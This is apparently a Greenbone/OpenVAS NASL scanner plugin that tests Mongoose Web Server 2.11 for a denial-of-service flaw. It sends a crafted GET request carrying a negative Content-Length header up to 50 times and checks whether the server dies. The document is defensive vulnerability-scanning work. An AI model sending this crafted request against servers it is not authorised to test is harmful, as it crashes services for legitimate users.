Mongoose Web Server 'Content-Length' HTTP Header Remote DoS Vulnerability

# Copyright (C) 2011 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:cesanta:mongoose";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103004");
  script_version("2023-02-24T10:20:04+0000");
  script_tag(name:"last_modification", value:"2023-02-24 10:20:04 +0000 (Fri, 24 Feb 2023)");
  script_tag(name:"creation_date", value:"2011-01-03 14:40:34 +0100 (Mon, 03 Jan 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Mongoose Web Server 'Content-Length' HTTP Header Remote DoS Vulnerability");

  script_category(ACT_DENIAL);

  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_family("Denial of Service");
  script_dependencies("gb_mongoose_web_server_http_detect.nasl");
  script_mandatory_keys("cesanta/mongoose/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Mongoose Web Server is prone to a remote denial of service (DoS)
  vulnerability because it fails to handle specially crafted input.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET requests and checks if the
  host is still alive.");

  script_tag(name:"impact", value:"Successfully exploiting this issue will allow an attacker to
  crash the affected application, denying further service to legitimate users.");

  script_tag(name:"affected", value:"Mongoose Web Server 2.11 is vulnerable. Other versions may also
  be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45602");
  script_xref(name:"URL", value:"http://www.johnleitch.net/Vulnerabilities/Mongoose.2.11.Denial.Of.Service/74");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

if (http_is_dead(port: port))
  exit(0);

host = http_host_name(port: port);

req = string("GET / HTTP/1.1\r\n",
             "Host: ", host,"\r\n",
             "Content-Length: -2147483648\r\n\r\n");

for (i = 0; i < 50; i++) {

  res = http_send_recv(port: port, data: req);

  if (http_is_dead(port: port)) {
    security_message(port: port);
    exit(0);
  }
}

exit(99);